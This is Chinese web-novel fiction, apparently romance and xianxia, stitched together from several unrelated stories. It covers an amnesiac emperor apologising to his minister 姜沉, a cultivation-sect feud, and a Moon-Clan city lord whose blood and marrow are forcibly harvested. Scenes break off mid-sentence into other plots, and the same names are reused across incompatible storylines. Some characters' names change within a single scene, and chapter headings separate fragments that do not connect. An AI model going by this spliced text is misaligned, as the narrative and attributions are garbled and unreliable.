毕竟,若是还要坚持这个说法,那难道白师弟也同样是故意陷害吗? 怎么可能。赵离玄嚎的那些乱七八糟,但凡是个人听了,都不可能忍得住不去回禀姜沉。 赵离玄等着姜沉冲过来收拾他。 美人骂他一顿掐他一回,也总比一个人黯然神伤弄坏了身子要好。 又想起拂陵说过,姜沉身子本就不太好。 更更更窒息了! 真伤了身体怎么办?狗皇帝。昏君。死不足惜。 一个时辰、两个时辰,姜沉迟迟不来。 都快要破晓了,赵离玄等不下去,就在忍不住跑到宫门口正打算再嚎一次的时候,宫门门锁终于响动! 赵离玄:“爱卿!!!!”最终赵离玄还是放下香喷喷的茶盏,拿起一份奏折。 翻开第一折 ,那便是一封关于洛水水患筹款的上疏。赵离玄皱眉一扫看了几行下去,不禁身子一挺,只觉心头豁然敞亮。 速速读完。 这折子,绝了。 这户部的地方官员名叫胡璐,这人在治水方针上绝对是个人才,观点翔实可行、处理可圈可点,还列了一二三四点通俗易懂的易行方案,简直是利国利民! 那些焦头烂额做不好事还上书推卸责任嗷嗷哭的地方筹款治水的官员,就该都向他学习。 短短奏章。赵离玄看得心潮澎湃,当即拿起桌上半干的朱笔,沾起鲜艳的朱砂开始批阅。 批完此折,又拿起一折。 就这么一折一折,行云流水。 水患、雪灾、北漠入境骚扰,六部之间的矛盾推诿、钱粮短缺、官员互相揭发参奏一桩桩一件件,有条不紊。 上书繁文缛字语焉不详的奏章被痛批,钱粮短蚀还狡辩的直接批注转呈刑部问责。 明明他失忆了,那么多事不记得。 但处理国家大事、批起折子来竟依旧件件清楚、毫无困难。 赵离玄也是无话可说。 待时再翻开一篇奏疏,竟是一份详细的烧陶做瓷的秘方,图文详尽令人惊艳,赵离玄不禁心道这上书官员又是个人才。 待一翻上书人的名字,竟还是那个地方官胡璐? 奇人!除了治水有方,竟还会烧陶。 这人应当提拔。 必须提拔!说起来像这种才华横溢又热心上书的国家栋梁,为何只在地方小城里只当了个七品县令?大夏的推官制举贤法是都被下面官员给吃了吗? 皇帝埋头批批批,奏折多如山。 等再抬头时,天色竟然已全暗。 寝宫里已经点起了一只只油灯蜡烛,殿内灯火光耀、四处通明。 远远的打更钟声,一下又一下,赵离玄才发现他竟不知不觉间他已整整批了三个时辰的奏章。 竟还批得神清气爽,并不觉得疲累。 似乎再度佐证了,他失忆前好像确实不是个昏君? 毕竟,试问哪个昏君能批折子批得如他这般这般顺溜、文采飞扬的。 何况他的行草还特别遒劲好看,优秀得都快得前朝大书法家李旭的真传了! “爱卿,都是我的错,爱” 来的人却不是姜沉,而是姜沉的贴身红衣太监拂陵。 有他也是好的! 赵离玄赶紧的:“拂陵公公!” “拂陵公公,昨夜我说的一些话本是词不达意,做不得数!!!姜沉一定要容我好好解释,千万别气坏了!” 拂陵:“赵离玄莫急。” “姜沉是临时公事繁忙被绊住了,才差奴才过来让赵离玄先睡、勿添忧心。” 赵离玄邵霄凌一路在马车上阴暗妄想。 哪知到了都督府,身份低贱的黑衣侍卫竟给他这一州之主吃闭门羹,还给他脸看? 楚丹樨没觉得自己哪做错了,他没摆脸色,他就是一直都面无表情而已。 也没赶人,只不过是实话实说“洛州侯来迟了,主人半个时辰前去了路老将军府”,那少主就到拂袖而去。 邵霄凌去将军府路上遇到书锦锦。 书锦锦:“啊,月华城主一早就去了将军府,但听闻被赶了出来,如今已转而去西市买东西了。” 邵霄凌:“……”将军府。 那木工摆件雕的,正是“原城之谊”。 像路霆云这种多年沙场的老将,自然知道原城之战的事情,根本不是民间与史书上所传那般。 那时的原城,根本就不可能等到援军。 彼时叛军势大,而原城早已是强弩之末。又不会再有救援,以当时境况守城不出,虽能保一时平安,但长久只有弹尽粮绝死路一条。 反而兵出险招背水一战,才勉强能有一线生机。 那位老将军绝非年老昏聩。卫留夷咬紧了牙。 他知道,一切皆是他有错在先。他该早早弄清自己心意,跟阿玄说他也喜欢他,早点抱抱他亲亲他,让他不再不安。 他该同他好好商量救治叶锦棠之事,而不是不顾他意愿强行取他血髓。 这些都是他的错。 是他没有给他足够的疼爱和温暖,让阿玄误会了。因此他怨他、恨他,他无话可说。 可数月的痛心愧疚之余,却也再压抑不住心底的一丝不忿—— 他是千错万错,是,他认。 但阿玄就没有错么? 游床剥髓没有性命之忧,古书所记无虚。不然阿玄此刻也不会好端端站在他面前。 “我那时……从没有想过要你去换小棠的命。从来,也没有。” 他从来没有想要他死。 “我已为你……备好最名贵的药材与补品,打算一旦事情完结,就好好陪你养伤。” “小棠服下髓珠的第二天,我就将他送去了恒城,再也未见。我既答应往后余生只对你一人好,就……从未想过食言。” “这些,阿玄,你都知晓。” “就算当日不知,现如今……也都知晓了。” 可为何明知真相,他还能说他轻贱他。轻贱?今时今日,他带着伤,扔掉一身傲骨,捧着破碎的心到洛州找他,却要看他与洛州侯假戏,被他以无比苛刻的条件刁难,任由他拉着别的男人践踏他。 他们之间,到底是谁在轻贱谁? “我本以为,天下不会有人比我的阿玄待我更好。我本以为,天下只有阿玄一人无论如何不舍伤我。”他苦笑,“月华城主问了我那么多,我亦想反问城主,若城主当初待我有半分真心,如何舍得先隐瞒身份后又诈死,留我一人在炼狱之中?” “若非阿铃查出真相,我只怕……呵,城主知道么?又在乎过么?城主如今只是恨我无情,毫不在乎我这段日子遭受过何种折磨! “究竟是谁没有心?” “城主又有否想过,你自己对我又是何其残忍?” 而是多方权衡,咬牙选了险路试图翻盘,可惜最终不幸战败、力尽而亡。 路霆云想到这,再度重重叹了口气。 眼下洛州,又何尝不是当年原城? 一样摇摇欲坠、大厦将倾、孤立无援。其实他心里也清楚,唯有依月华城主之计集结旧部孤注一掷收复失地,才能寻得一丝反败为胜的机会。 但是,一旦失败…… 莫说少主、都督。连他也会像当年那老将军一样为世人曲解诟病、蒙受不白之冤,背负害死万千百姓将士的千古骂名,晚节不保。 路霆云老了。 是真的老了,活不了几年了。 若是能回到年少意气风发时,他也愿为洛州存亡赌上一把。可如今他风烛残年,回望一生战绩,只要在闭眼之前洛州不覆,他将在史书上拥有毫无污点的一代忠良美名。 甚至,哪怕在他有生残年,洛州沦陷。 书上也会写,天昌之战时,是他绝食力劝旧主不要出兵。可惜旧主心意坚决,他一人无法力挽狂澜,可惜可叹。 他一生清廉,忠心护主南征北战,自认配得上一个好的身后名。 哈哈哈哈哈还以为那人无所不能,却原来也有吃闭门羹的时候。 虽然也清楚,若那倔强如驴的路老爷子始终不肯配合,后续调兵遣将收复失地和救南栀便都是空谈。 但无论如何,难得月华城主吃瘪,还是让他先笑一下再说! 片刻后,邵霄凌在西市找到了赵离玄。 赵离玄人在手工作坊里,正跟木匠陶工他们嘀嘀咕咕,请他们做个摆件。 邵霄凌不解,不是昨日才给这人买了一车玩意儿么?就连他所要的闻所未闻、显然故意刁难的“小狗吃荔枝”摆件,他都硬生生给他找到了。 这人这会儿又要什么东西,还特意跑来定做? 赵离玄:“我给洛老将军做件礼物。”一个时辰后,大船靠岸。 前所未有的夹道欢迎火热阵仗,实属震惊了赵离玄。只能暗暗汗颜,那个疯狂编排他的《月华城主风流史》,应是在洛州卖得很火。 唉 盛夏杨柳,郁郁青青。同是江南,赵离玄踏上洛州之土前,偷偷向一边乌恒的方向看了一眼。 最后一眼。 “主人” 两只手同时向他递过来,赵离玄选了邵霄凌。 周边洛州百姓那么多,虽是互相嫌弃,也得顾及主人家颜面。 只见那侍卫则失魂落魄,像街边被主人丢弃的流浪犬一般。邵霄凌赢了,得意洋洋,又忽然想起卫留夷那张颓然沮丧的脸。 与眼前这人很是相似。隐忍又不甘,像是咬着牙随时会蹦断弦要扑过来撕咬他的野狗:“月华城主,你可别后悔。” 乌恒和洛州就在毗邻。 邵霄凌和卫留夷一个是洛州侯幼子,一个是乌恒侯独子,从小父辈往来时常能碰见,也常被拿来比较。 邵霄凌自幼顽劣不羁,最看不惯卫留夷那副知书达理、道貌岸然的样子,装什么装? 然而,多年挑衅,他都不曾让卫留夷卸下伪装。 倒是这貌丑的月华城主,竟让一向低看他的卫留夷破天荒地,露出了极为难看的嫉妒与不甘。 邵霄凌一边心里暗爽,一边又想不通。 牵着月华城主上华车时,忍不住多看了几眼。 高挑挺拔,身形不错。想必才华也无可挑剔,洛州图看一遍就背下来。 单和此人做个朋友的话,他倒也不介意。 可卫留夷与那侍卫眼神,却分明就是晦涩已极,想碰触、想独占、想据为己有的魔怔样。 邵霄凌想想头皮都发麻。 实在不懂这丑人到底有什么好。 指尖相触,他就更不理解,瞧这手上的纱布卫留夷和那侍卫都不嫌他残破的么? 邵霄凌翻个白眼,欲言又止。 赵离玄:“说。” 邵霄凌:“你也太不了解老爷子了。莫说礼物,以他那固执性子,认定之事别说我和南栀去劝去求,就连之前我爹活着时,也往往用尽方法也转移不得!” 赵离玄点了点头:“无妨,是人就有弱点,总能找到办法。” 邵霄凌:“你说得容易!” 赵离玄:“我昨日向众官员将领们打听,老将军独子早夭,仅有个掌上明珠孙女儿,今年十岁,生得如珠似玉聪明伶俐,可惜天生腿残。” “不是巧了?我恰好略通医理。” “眼下时候还早,少主若是不忙,可否陪我再去一趟将军府?” 邵霄凌心想你要我陪也不是不可,拉拉扯扯的做什么? 赵离玄:“啊?” 拂陵恭恭敬敬,垂眸行礼:“此是姜沉原话。赵离玄即便信不过我家主子,但拂陵身为奴才下人并不敢斗胆欺君。” 这话听着很是诛心。 赵离玄喃喃:“好,好,爱卿没生气就好” “那公公回去一定跟记得跟爱卿说,注意身体,别太累。” “折子太多就拿过来,我来批。” “我是真的知道错了!待会下朝,我备齐姜沉爱吃的小菜,跟他认真赔不是!” “还有” 拂陵:“奴才斗胆,赵离玄可是真心想知当年往事?” 赵离玄一愣。 “公公!公公愿意告知我?” 拂陵垂眸转了转手中拂尘:“如若赵离玄不嫌弃,拂陵知无不言。” 赵离玄 “自然想!!!我想知道!公公请说!” “公公您坐,坐下慢慢说!来人给公公上茶!” 白霜澄师弟可是人尽皆知的柔弱善良,且在出事後自责不已,日夜守在姜沉床边哭得眼睛肿成了桃子,任谁看了都不忍心。 又过数日,赵离玄终于出关。 却还没来及庆贺境界突破,就听闻姜沉重伤未醒。 那可不得了了。 听闻他那日去看过姜沉之后,立马就恶狠狠冲进白霜澄的院门,烧了院中花花草草不说,还指着人鼻子破口就骂。 “姓白的你个废物点心!自己几斤几两心里没点数?屁本事没有就安静待着,谁给你的狗胆去蹭绿晶秘境?!” “也就你那个徇私舞弊的爹,天天硬把你这坨烂泥往姜沉身边塞!如今好了,害人害己。你们真是一家子害人精,一家子祸害!” “你最好祈祷姜师弟平安无事。” “不然,看老子不把你和你那老不死的爹,一起剁了喂后山的王八!” 生生把一向柔弱的白师弟骂得泪水涟涟,几乎晕厥。 要不是闻讯赶来的师兄师姐们死命拦着,他甚至还想一鼓作气闯去议事大殿,直接向白霜澄那位长老亲爹要说法。 此事既出,就连很多过去看他不顺眼的人,都不得不背地嘀咕起来 “嘶难道这赵离玄对姜师弟,竟确有几分真心实意?” “不然,这般口无遮拦得罪药宗长老,对他又有什么好处?” “便是自恃极品灵根,可以药宗长老如今的境界,真想捏死他,也无异于捏死一只蚂蚁吧。” “更何况,他若真的一心暗害姜师弟,又何必气成那样” 种种疑惑开始冒头。 “沐萱!”秦熠汗颜。 “凶什么嘛!沐萱还不是为了阿熠你好!放这么一个头脑好、背景强的赵门中人在身边,以你那种不争不抢又温吞的性子呀,迟早有一天要叫他给架空啦!到时死都不知怎么死的,沐萱可不救你了!” 秦熠无话可说,他根本管不住月沐萱这小辣椒。 不过话说回来,他根本也管不住众妻妾中的任何一个。根本就是每天被各种轮番蹬鼻子上脸,痛并快乐着。 “行啦行啦,老规矩!琴棋书画诗酒茶执剑长老你来选三样!只要其中有两样比得过沐萱,就算你赢!” 书中,赵深记得秦熠是选了琴、棋、茶与她过招。 按理说,他这三样造诣也都不错,结果琴没抚过月沐萱、棋没下过月沐萱。泡的茶,月沐萱皱着鼻子说好难喝。 赵深正在认真思考要选哪三样,却见秦熠一愣:“师、师兄,你怎么来了?” 第 44 章 第 44 章 数日后。 “姜前辈,这是我这几天从书房找的《拊掌录》《嘻谈录》《笑林广记》还有《华筵取乐谈笑酒令》!读了保准心情大悦!” “姜前辈,我让后厨给你煮了芝麻汤圆~尝尝看!” “前辈你一定要放宽心,好好养伤~我跟你说,掌门已经答应我带你出去寻郁前辈了,待你伤稍好了,咱们马上就出发!” 姜沉一双清瞳灰然冷沉,缓缓平视过赵离玄笑吟吟的脸,看向窗外春末明媚的朝阳。 “还去什么?我反正很快就要死了。” 赵深嘴唇颤了颤,马上又笑起来哄他:“前辈你听错了!其实,只要快点找到邪医殷莫” 姜沉垂眸,他明白赵离玄是好心。 可是,他早已不是三岁孩子,不可能被哄哄就开心,更不想自欺欺人。 “又是何必。”可这些疑惑,竟再无解答。 因为当晚,赵离玄和姜沉闹掰了。冬日清晨,晨光熹微。 皇帝打足了二十分精神,认认真真听拂陵公公说。 要说前尘,不得不先提大夏历史。 泱泱中原大夏建朝三百年,曾经一度十分强盛、万国来朝。 只可惜在两百年前武帝的登顶辉煌之后,便由盛转衰开始走下坡路。 先是连年征战耗损国库,又是褚酣刘坠等奸臣乱国,逐渐动乱,积贫积弱,后又经北方沦陷、大片疆土丧失。 待到赵离玄的父亲宣明帝继位时,曾经一度的锦绣大夏已只剩南边的半壁江山、摇摇欲坠。 先皇宣明帝一共生有四子。赵离玄不知道的是,那日卫留夷重伤倒在他门外,虽是意外,却也不全是。 卫留夷本就是来寻他的。 寻他这位迷谷深医去给他的心上人治病。只是运气不好,途中撞上西凉轻骑,才会浑身是伤倒在他门前。 半个月后,赵离玄跟卫留夷去了乌恒侯府。 从看到病床上那纤细苍白、西子捧心小美人的第一眼,心就暗暗沉了下去。 可卫留夷哄他,说小棠只是他表弟,他便傻傻地又信了。 赵离玄向来如此。 一旦喜欢上某人,头脑就会变得极不清明。心上人说什么他就信什么,心上人心疼表弟的病,他便发誓一定要将叶瑾棠治好。 叶瑾棠的病很是麻烦。 他是天生体弱,后又中毒,所中之毒叫做“千机”。虽不致命却折磨人,中毒之人需每月服用一次解药,否则到月圆之夜便会饱受煎熬、痛苦难当。 不知如此纤弱少年,是谁狠心给他下这等的毒药。 好在赵离玄自幼饱读医书,很快开出药方。只要按方抓药、细心调养,叶瑾棠自可慢慢恢复,数年之后余毒尽解便与常人无异。 此事本该就此终了。 怪只怪赵离玄在雁回山医庐照顾卫留夷时,心疼他伤口痛、睡不踏实,多次给他用过自己的血镇痛。 他是月华族人,血与常人不同。 以至后来,月圆之夜叶瑾棠受罪时,他也只好一样给叶瑾棠割腕放血止痛。 一次,两次。 叶瑾棠用过他的血后,脸色明显红润起来。 缠绵病榻多年之人竟能下床行走,却又兴奋兮兮跑去池塘边玩水,掉进水里高热不退。 卫留夷彻夜守他,汤药太慢,赵离玄只能又给他放血医治。 三次,四次…… 叶瑾棠小毛病总是不断。一会儿头疼一会儿腿疼,哭着跟“表哥”撒娇。 赵离玄知道叶瑾棠有时是在装。 明明说着痛,伏在卫留夷身上哭唧唧,一双眼睛却偷偷抬起挑衅地看着他。眼底浅浅红光闪过,有种妖艳的感觉。 然而几番暗示,卫留夷不信他。 只信叶瑾棠梨花带雨时楚楚动人的眼泪。 如此,赵离玄也无话再说。 大皇子赵紫城为邻国北漠嫁入的马背皇后罗歇公主所出,是为嫡子和太子。 三皇子晏殊宁与四皇子赵落英则为受宠的大夏开国功勋世家女郁鸢皇贵妃所出,也都高贵不凡。 四位皇子中,只有二皇子赵离玄生母是一位身份卑贱、寂寂无名的下等宫女。 那宫女死得早,赵离玄便被郁鸢贵妃收养。 说是收养,但其实贵妃也只把二皇子看作她那年龄相仿的宝贝儿子三皇子的陪读与仆从,成日呼来喝去、随意差遣。 二皇子无依无靠,从小吃穿用度、住行封赏,都远没有其他皇子气派,自也不被任何人放在眼里。 数年寒暑,诸位皇子逐渐长大。 太子与三皇子开始明争暗斗,二皇子依旧无人在意。 太子按说为皇后嫡出,身后又有邻国北漠支持,地位本该稳固。 可惜为人骄横放纵、名声颇差,远不如三皇子才学雅度、知书达理。 这些众臣都看在眼里,加之三皇子生母娘家在国内也算根基深厚,自有不少人偷偷倒向三皇子一边。 一时间,两位皇子势同水火、诸多事端。 就这么斗了几年。 却谁也没想到,最终继承了大统之人,却是那无人在意的二皇子。 据《大夏锦裕纪》的记载,大皇子骄横乖张、无才失德,三皇子虽才学出众,却纵情诗乐,本就都不是明君人选。 偏偏两方势力又各不相让、矛盾激化,最后酿成太子一时冲动放火烧死三皇子的惨剧。 事发之后,太子为千夫所指、亦被废黜。 一共四位皇子,死了一个,废了一个,彼时四皇子又年纪尚小且体弱多病。 一时无人可选。 大夏天子之位这才由毫无存在感二皇子捡到了便宜。 拂陵:“但说是捡来” 世上又哪真有容易的皇位好捡? “实则赵离玄登临帝位,本就因为诸位皇子中只有赵离玄一人心系天下民生疾苦,又巨才学谋略与青云之志、愿带我大夏励精图治、重回昔日荣耀。” “事实也证明,赵离玄继位十载,政绩斐然。” “收复失地、安顿边境,且行减免税负、广惠于民之实,又加用人唯贤、政治清明,天下无不称道天子圣明。” “至于岚主他” “岚主本是先帝朝太尉独子,十岁那年便作为皇子伴读常住宫中。在赵离玄还是二皇子时就常伴赵离玄左右,感情甚笃。” “后来,赵离玄进位之路,姜家也立下过汗马功劳。” 无人知道发生了什么。 只道是明明那日痛骂白霜澄后,赵离玄还在心心念念着他的“小阿沉”。 一头就钻去他别院搜集已久的精品宝库,寻了一堆名贵的补品灵草。 当夜夜半,听闻姜沉终于苏醒,更是立刻从榻上跳起,抹了抹发红的眼眶、匆匆披了衣服,就高高兴兴揣了大堆补品前去看望。 却不知两人说了什么。 反正从房里出来时,赵离玄就已是面色阴沉如水、骂骂咧咧。 甚至整个人都走出了院落,又猛地折返回来,对着姜沉的门框狠狠踩踹了几脚。 那张俊朗的脸上尽是压抑不住的暴躁和悬念,张牙舞爪得都有几分狰狞。 赵师兄很生气,后果蛮严重。 反正从那天后,他对姜沉的态度就来了个冰火两重天。 热络的“小阿沉”成了带着轻哼的“姜师弟”,往日里嘘寒问暖、殷勤礼物也没了。 甚至路上遇到,也常是装看不见。 棠棣仙门的规矩,同门师兄弟就算私底下再水火不容,一般见面时也还会虚与委蛇的问候和行礼。 哪怕是夹枪带棒、阴阳怪气,也好过彼此无视。 然而赵离玄就光明正大无视了!实在太丑,自己都嫌弃。 赵离玄偷偷看一眼,狠狠皱眉。 又偷瞄了楚丹樨一眼,却见楚丹樨只是愣着。 漫天星光落入他的眼,他的喉咙轻轻动了动,狭长好看的眼里浮现出一闪即逝的心疼,随即垂眸不语,只默默替他换药。 一点也没弄疼他,动作十分娴熟。 赵离玄:“这莫非,不是你第一次替我换药?” 楚丹樨滞了滞,没有言语。 赵离玄:“也不是第一次替我穿鞋?” 楚丹樨手指再度迟了迟,苍白的唇勾起似是一个自嘲的笑意,明显苦涩。 赵离玄一时头大。 他只记得自从半个月前上船以来,楚丹樨就一路照顾得他妥帖。可具体如何照顾,有何细节,替他换过几次药,披过几次衣? 竟一件都想不起。 可见他当年喝下的忘情药,是真·斩断情丝、药效强劲。不仅能让他忘了与此人“过去”的全部浮光掠影,就连眼下这半个月的相处,多数细节也是过眼就忘。 赵离玄了解自己。 若换做平时,有这么一个人肯温柔替他上药,不嫌弃他的残破不堪,以他的恋爱脑程度肯定早就沦陷了。 还什么卫留夷、洛南栀。 直接拐了这侍卫跑不好么?长得又帅,对他又好。 可对着眼前楚丹樨,他却十分不可思议地心中只有空荡荡的麻木。 众人见状,只得围在虚弱的姜沉身边安慰:“别在意。那人一向喜怒无常,随他去吧。你还有我们!” 如此,为了替姜沉撑腰,众人在半月后更是热热闹闹给他过了一个生辰。 就连药宗长老都很给面子地去了,带着他的乖儿子白霜澄一起,送了不少药材。 感姜姜沉救了他家幼子,又是一通前途大有可为的吹捧。 据说场面十分和乐融融。 而赵离玄那边倒也不甘示弱,当晚同样大宴宾客,众小弟狗腿一起喝酒吃肉。 自此,门中弟子一派对姜沉更加众星捧月,另一派则唯赵离玄马首是瞻。 两边更是互不相让、泾渭分明。 “人世苍茫,又去哪儿找得到那不见踪影邪医,更何况我师父。倒不如早些认命。” 一缕垂下的青丝,被赵离玄修长的手指轻轻拈起,黑瞳辗转,循循问他:“前辈为什么会这么想?” 为什么会这么想?姜沉苦笑。 有太多理由。命运弄人,他也曾经有过希望和期待,但可有一件不曾碎成齑粉?也许,早就不该再争了,也许早就该彻底认命,至少不这么痛苦心累。 却只摇摇头,苦笑道:“我这人一向运气不怎么好。” “但总也有时来运转的时候啊,”赵深想了想,“姜前辈,不如,我跟你赌一发怎么样?” “赌?” “嗯。我有一件东西,拿来保证让你展颜,喜欢得不得了,会觉得其实活着还挺有意思的。你信不信?” 第 45 章 第 45 章 屋顶,一声悠扬陶笛传来。 瞬间给姜沉的琴声加上了肉眼可见的狠戾振幅小院门被音波赫然生猛撞开,几个刚想要闯进来的霄小弟子,惨叫一声被震得好远。 姜慎行猛然抬起头。 月下,他看到一双美腿。 长袖短裙的绝色大美人如嫦娥仙子一般,婷婷袅袅落在秦熠身边。隔着整个院子,傲娇的声音仍旧清晰无比传来:“怎么又受伤了?真是笨蛋!若是没有沐萱护着,阿熠你自己能活过三天么?” 月莲教圣女月沐萱!这一战,成功让对面安静如鸡了好一阵子。 数月后,赵离玄更是又一度代表宗门外出参加全修真界的新秀比武并拔得头筹,再为棠棣仙宗挣了不小的脸面。 回来后,也是一如既往被宗门长老们夸着、捧着,无比得意。 身边那群小弟,更是与有荣焉。 他们那段时间最喜欢干的事,就是对“敌人”们贴脸输出: “哎呦哎呦,真的是千年一遇吗?怕不是测灵碑年久失修,测错了吧。” “连我们赵师兄十招都接不住,还一副总有刁民要害朕的妄想也不看我们赵师兄稀罕害这种废物吗?” “就是就是,之前秘境里要不是赵师兄护着,他恐怕早喂妖兽了吧?” “还敢倒打一耙,啧!” 种种嚣张言论,直把那边众人气得跳脚。 在他们看来,明明人尽皆知小师弟只是吃亏在修行时间较短。 但以他逆天资质,入门一年便修到了普通弟子十年八年修不到的境界,但凡再给他个半年一年、稳稳根基,到时赵离玄哪能还是对手? 然而无奈,眼下火候确实不到。 只能憋着气,无论是课堂上还是秘境里,都默默忍受赵离玄那一伙人的嘲讽打压。 而被抢了一次珍芙仙草后,赵离玄也彻底恢复了他那睚眦必报的刻薄性子。 之后无数次蓄意报复。 常常都是姜沉一行人辛辛苦苦破解机关、满心期待地打开宝箱,却发现里面早已被洗劫一空,只剩嘲讽涂鸦。 同样,好不容易探到的灵石矿脉,吭哧吭哧打开,岩壁上也只留下龙飞凤舞的“你师兄到此一游”。 好不容易寻到的炽焰朱果,更是看见赵离玄的小弟正坐在属下啃得津津有味,还笑嘻嘻地打招呼: “哟,各位师兄,来晚啦!” 如此种种,众人七窍生烟。来乌恒前,赵离玄一个人在医庐养鸭种草、鸡飞狗跳,闲来无事抚琴弄木,很是开心逍遥。 来乌恒后,却是日复一日地寂默了许多。 那段时日,西凉军常常侵扰乌恒边境,乌恒侯卫留夷因此繁忙,来找他的次数也越来越少。 有时赵离玄会回想以前,两人在迷谷医庐时。 那时二人躺在杏子树下,总有说不完的话,一同弹琴赋诗、讨论天下之事,如今回首,却只有一场场虚妄的幻梦泡影。 那年深秋,在乌恒,卫留夷倒又来找过他一回。 人喝醉了,一身酒香到他这里,目光迷离,抚着他手腕新旧的血痂,清冷自持的脸上少有地露出了歉疚与惭愧。 当晚千里月明,卫留夷靠着他,颠三倒四低声道:“阿玄,小棠父亲兄弟……皆为乌恒战死。我着实欠他许多,实不忍心看他日日受苦,才委屈了你……” 赵离玄垂眸。 其实倒没太多委屈。 谁让他这人从来运气不怎么好,每次遇到喜欢的人,那人身边总有比他好看得多的大美人。 美人什么也不必做,微微蹙眉就惹人心疼。 反观他,即便手腕又添多少道横七竖八的伤口,也只是和脸上难看的伤更相衬了,没有人在乎。 委屈尝多了,就不再觉得委屈。 曾经他也年轻气盛过,受不住去质问践踏他之人,那人却只护着身边的美人,满眼玄冰不耐烦地怒叱他“够了”。 才如梦初醒,他这般模样……注定没人权。 只有不吵不闹时,或还能得到些假意温柔。 赵离玄着实不愿再被心上人用森冷的眼神瞧,于是安安静静,乖乖给叶瑾棠放了小半年的血。 变故在那年冬天。 姜沉姜沉进犯恒城,一把火烧了东湖连天药池。 叶瑾棠所中千机蛊的解药,有一味重要药材叫做“湖心黛”,那药草娇弱,只在东湖能种活,如今烧了草,叶瑾棠一下子断了药。 赵离玄能做的,无非是一边绞尽脑汁寻别的药替代,一边去东湖督人补种药材。 可这湖心黛偏生娇气得很,两三年开花,四五年才结果。 这还是好的情况。 如若种得不好,十年未必开花结果。 卫留夷自舍不得叶瑾棠再受十年折磨,而这时,偏不知谁进献了一本古书。书上记载,月华族人不单单鲜血有补益奇效,抽髓凝珠更是活死人肉白骨,可使叶瑾棠不药而愈。 当夜,赵离玄果断收拾包袱。 他们月华城之所以隐匿昆仑之镜与世隔绝,且立下禁咒非城主世代不可出,就是因为外头这帮人实在血腥凶残、利欲熏心。 知道月华血髓有奇效,便偷抓族人囚禁压榨、取血进补、抽髓炼药。逼得族人隐匿千年,大夏才渐渐没了这些传说。 谁知如今古书又被人翻出来。 赵离玄虽一向是个恋爱脑,心上人要什么就不吝给什么,却也知道放血一时要不了命,被抽了髓却是多半会死。 何况还要抽整整七天,过程极其痛苦悲惨。 此时不跑更待何时? 结果没能跑掉,被五花大绑捉了回来。 那些人射伤他的肩膀、折了他的手骨,将他粗暴绑上祭祀的碧游床。 床的触感,是一片玄冰刺心的冷。 大概卫留夷也知此事办得太过缺德,躲了好几日,直到赵离玄已被开膛破肚、折腾得人不人鬼不鬼,才敢偷偷来瞧他。 他握了他的手,声音前所未有的温柔。 他许诺他送走叶瑾棠送,以后再不负他。 卫留夷能这么说,大抵也是看他平日里还挺活蹦乱跳,换髓多半也没什么危险。可他偏偏没有想到,赵离玄给叶瑾棠放了大半年的血,身体早已大不如前。 甚至不少人都把赵离玄的画像挂起来,日日对着“卧薪尝胆”,誓要报仇。 战场白热化的关头,强力外援女主终于上线! 听得陶笛声音,姜沉终于松了口气。前一片漆黑,身子晃了晃,落入了一个稳稳的怀抱。 鲜血带走了温度,周身如坠冰窟。只有拥抱他的臂膀源源不断传来丝丝暖意,姜沉恍恍惚惚,并不知自己正在往那人怀里蹭,染血的手指,更是正紧紧抓着那人衣摆不放。 “宫渡良宵!快!你们快去叫三夫人华小珍过来!快去!” 耳边传来焦急的声音,却模糊不清。有人往他口中喂了药,他和着血吞下。 如若就这么死了,见不到师父最后一面,着实遗憾。 但这无常一生若真能这般终结,是不是也好歹算是死得其所? “姜,姜前辈你振作点。姜前辈!” “不要别走!不准走!我们有过约定的,我、我还要带你去很多地方,带你找师父,带你看好多美景、吃好多好吃的!我们约好的,你还记得么?” “我绝对不会放开你。前辈,留在我身边,不要走好不好?” 嗯晌午钟声,姜沉该下朝了。 赵离玄:“公公等下!” 他本跟拂陵说好了,让他下朝想方设法也要把姜沉拽过来楚微宫,他备好酒菜给姜沉赔罪。 可如今前尘真相却是如此。 他那般重重伤过姜沉的心,多少好酒好菜都根本不够赔其万一。 赵离玄一时之间,竟不知道怎么样赔罪才算像话。 尤其是,他还什么都不记得。 不然我,先写封信赔罪? 拿了笔,郑重铺上澄心堂纸。 赵离玄一笔一划,认认真真、斟词酌句。 可道歉书信又要如何写? 思来想去,赵离玄发现自己竟在默背前朝某位罪大恶极亡国之君的“罪己诏”。 这,似乎也没罪大恶极到罪己诏的程度 就按罪己诏写吧!荀青尾回宫那日,阳光正好。 赵离玄正幽魂一般浑浑噩噩,在后花园遛鸟。 正经遛鸟。 遛一只会说话的绿皮鹦鹉。 鹦鹉:“嘎月华城主赵蟾宫,人见人爱、花见花开。” 赵离玄死气沉沉:“乖。” 鹦鹉:“嘎月华城主赵蟾宫,英俊潇洒、倜傥风流。” 赵离玄萎靡不振:“说得好,给你肉干。” 阳光下,满院子琼华碧树。 俊美狐男突然出现,欲盖弥彰地半露出袖中画卷,一蹦一跳追在赵离玄屁股后头。 “吾主,快来看看吾新购入的美男图。” “不看。” “大名鼎鼎的洛州都督洛南栀,南越最为出名的英姿飒爽大美人。比那乌恒侯卫留夷什么的,可要更光风霁月多了去了。” “不看,我心已死,”赵离玄闷闷道,“仔细想想,如我这般有碍观瞻又注定短命之人,又何苦祸害人家。” 荀青尾:“一派胡言!” 本以为他要接着劝慰两句,说点类似“吾主俊朗潇洒哪里配不上谁了,都是那帮人没眼光”云云的恭维话。 结果,荀青尾只一针见血拆穿他: “主公还有闲心在此遛鸟,说明心还没死透。” 虽不至于谢罪天下,但冷漠无情伤透姜沉心亦是罪、无、可、赦!!! 赵离玄写写写,终于写完。 把天子墨宝送到拂陵手里,依旧觉得缺了点什么。 他皱眉努力想,又想起了龙床床头那个暗格。 在放入那一堆糕点的之前,暗格里面本来也是藏着一件东西的。 一件堇青石的长耳坠。 朴素的风筝形状,做得简单清雅,倒也并没有显得多么华贵不凡。 这样一件单耳耳坠却被小心翼翼存在天子龙床暗格里。 想必也是什么稀世宝物。 赵离玄赶紧又将那风筝耳坠找了出来。 “公公可否将此物件同书信一并送给姜沉?” “虽我也知道,姜沉府邸里肯定也不缺这类小玩物,但终归是我的心意” 拂陵看着那风筝。 一时表情复杂,竟是又要笑,又要叹。 赵离玄:“难道这坠子有何不妥?” 拂陵:“不,这坠子好得很。” “赵离玄放心,岚主子是喜欢的。” 是谁很暖和。声音也很温柔。 好,好,我不走,不走就是了。 姜沉发不出声音,混沌之际默默这么想。 不要哭,不值得。 第 46 章 第 46 章 说来也可笑,天道教教义“天下为公”,但这毕竟是个逐利江湖,始终人人为己。 